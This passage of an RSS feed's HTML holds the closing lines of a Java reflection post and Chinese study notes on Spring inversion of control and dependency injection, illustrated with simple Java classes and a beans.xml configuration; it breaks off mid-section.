&#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x05 结尾</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">其实关于 Java 反射的内容，互联网上很多，也更加具体，有兴趣的朋友可以具体去搜搜看，我相信对我们的审计能力还是很有帮助的。</p><p><br/></p>



<p><a href="https://www.cnpanda.net/codeaudit/705.html">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=63d26a75&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4MzYxODA4Mw%3D%3D%26mid%3D2247483736%26idx%3D1%26sn%3D5033d99e9db8dae3cd3078c5d65ad896%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 06 May 2021 11:03:00 +0800</pubDate>
    </item>
    <item>
      <title>Spring  IOC 学习笔记</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MzYxODA4Mw==&amp;mid=2247483717&amp;idx=1&amp;sn=998745867ccc6b7763f47829911eff33</link>
      <description>IOC（控制反转：InverseofControl ） ，又称作依赖注入。</description>
      <content:encoded><![CDATA[<p>
<span>panda</span> <span>2021-05-04 00:00</span> <span style="display: inline-block;"></span>
</p>

<p>IOC（控制反转：InverseofControl ） ，又称作依赖注入。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c174d5f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkvndBg3XMMv5VIpOHFQbiaO1rYD7O83EQwyVicduLhZKHnLtqPL4OZoxQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 25px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">IOC</h1><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">IOC（控制反转：InverseofControl ） ，又称作 依赖注入，是一种重要的面向对象编程的法则，用来削减计算机程序耦合问题，也是轻量级的 Spring 框架的核心。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">IOC不是一种技术而是一种思想，在Java开发中，IOC意味着将设计好的对象交给容器去控制，不是传统意义上那种在对象内部控制。这句很好理解，举个例子：</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">有两个类分别为<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">ZhangSan.java</code>和<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">LiSi.java</code>，这两个类中存在同样的<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">test</code>方法，如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">test</span><span style="box-sizing: border-box;">()</span></span>{<br/>        System.out.println(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;张三 - 测试员工&#34;</span>);<br/>    }</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">存在另一个类，为<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">JavaWork</code>，有个<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">doTest</code>方法，该方法调用<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">ZhangSan.java</code>和<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">LiSi.java</code>的<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">test</code>方法，内容如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">doTest</span><span style="box-sizing: border-box;">()</span></span>{<br/>        ZhangSan zhangsan = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> ZhangSan();<br/>        zhangsan.test();<br/>    }</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">这时候，存在主函数，内容如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">static</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">main</span><span style="box-sizing: border-box;">(String[] args)</span> </span>{<br/>        JavaWork javawork = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> JavaWork();<br/>        javawork.setTester(<span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> LiSi());<br/>        javawork.doTest();<br/>    }</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">可以发现，这种方法就是传统意义上那种在对象内部控制，其流程如下所示：</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><img data-ratio="0.7172619047619048" title="1.jpg" data-type="jpeg" data-w="336" style="box-sizing: border-box;vertical-align: middle;border-width: 0px;border-style: initial;border-color: initial;" src="https://wechat2rss.xlab.app/img-proxy/?k=15a36b71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkO1xarvnDD6VpPOoh59Dd2k2pJyUcAlibbCJ4jbCM8ibFjxz8FzKuWqQQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">而IOC是如何控制的呢？如下图</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><img data-ratio="1.2294117647058824" title="img.png" data-type="png" data-w="340" style="box-sizing: border-box;vertical-align: middle;border-width: 0px;border-style: initial;border-color: initial;" src="https://wechat2rss.xlab.app/img-proxy/?k=984d9bde&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqRsLBqaVAv7JBFU323gtYkQ1Bef9PLib9ibgV4GOibGzu79MIsdZiaUaicAvzJrFbufWVz6wBMOiawQQfA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">拿上诉例子来说，如果利用IOC进行控制，那么可以引入Spring配置文件<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">beans.xml</code>，一个标准的beans.xml文件如下所示：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">beans</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">xmlns</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a>&#34;</span><br/>    <span style="box-sizing: border-box;color: rgb(129, 162, 190);">xmlns:xsi</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span><br/>    <span style="box-sizing: border-box;color: rgb(129, 162, 190);">xsi:schemaLocation</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a><br/>        <a href="http://www.springframework.org/schema/beans/spring-beans.xsd" target="_blank">http://www.springframework.org/schema/beans/spring-beans.xsd</a>&#34;</span>&gt;</span><br/><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">beans</span>&gt;</span></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><strong style="box-sizing: border-box;color: rgb(0, 0, 0);">相关解释：</strong></p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>【xmlns=&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a>&#34;】</p></li></ul><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">声明xml文件默认的命名空间，表示未使用其他命名空间的所有标签的默认命名空间。</p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>【xmlns:xsi=&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;】</p></li></ul><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">声明XML Schema实例，声明后就可以使用schemaLocation属性。</p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>【xsi:schemaLocation=&#34;<a href="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd】" target="_blank">http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd】</a></p></li></ul><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">指定Schema的位置。这个属性必须结合命名空间使用。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">这个属性有两个值，第一个值表示需要使用的命名空间。第二个值表示供命名空间使用的XML schema的位置。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">利用IOC的思想，可以定义<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">beans.xml</code>内容如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">beans</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">xmlns</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a>&#34;</span><br/>    <span style="box-sizing: border-box;color: rgb(129, 162, 190);">xmlns:xsi</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span><br/>    <span style="box-sizing: border-box;color: rgb(129, 162, 190);">xsi:schemaLocation</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a><br/>        <a href="http://www.springframework.org/schema/beans/spring-beans.xsd" target="_blank">http://www.springframework.org/schema/beans/spring-beans.xsd</a>&#34;</span>&gt;</span><br/>    <br/>    <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">bean</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">id</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;zhangsan&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">class</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;com.java001.service.ZhangSan&#34;</span>&gt;</span><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">bean</span>&gt;</span><br/>    <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">bean</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">id</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;lisi&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">class</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;com.java001.service.LiSi&#34;</span>&gt;</span><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">bean</span>&gt;</span><br/>    <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">bean</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">id</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;javawork&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">class</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;com.java001.service.JavaWork&#34;</span>&gt;</span><br/>        <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">property</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">name</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;tester&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">ref</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;zhangsan&#34;</span>&gt;</span><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">property</span>&gt;</span><br/>    <span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">bean</span>&gt;</span><br/>    <br/><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">beans</span>&gt;</span></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">可以看到，我们只需要修改配置文件中的<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">&lt;property name=&#34;tester&#34; ref=&#34;zhangsan&#34;&gt;&lt;/property&gt;</code>即可控制要调用的类，而不需要修改在对象内部进行控制。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">配置定义好后，修改main函数如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">static</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">main</span><span style="box-sizing: border-box;">(String[] args)</span> </span>{<br/>        ApplicationContext ac = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> ClassPathXmlApplicationContext(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;beans.xml&#34;</span>);<br/>        JavaWork javawork = (JavaWork)ac.getBean(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;javawork&#34;</span>);<br/>        javawork.doTest();<br/>    }</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">引用该xml配置文件，调用<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">doTest</code>方法，不需要在<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">javawork.setTester(new LiSi());</code>中修改想要调用的对象。</p><p><span name="menu_index_5" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h1 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 25px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">依赖注入</h1><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">谈依赖注入可以先说下依赖，什么是依赖呢？简单的说，依赖是一种关系，一个类依赖另一个类，也就是一个类中有另一个类的引用，class People中有class Dog的引用那就叫 People对Dog有一个依赖。如下代码：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">class</span> <span style="box-sizing: border-box;color: rgb(255, 204, 102);">People</span></span>{<br/>     Dog dog;<br/>     <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">People</span><span style="box-sizing: border-box;">()</span></span>{<br/>         dog = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> Dog();<br/>     }<br/>}</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">再来说下依赖注入，我们一开始学java对于上面的构造方法里面我们如何给dog引用对象？</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro 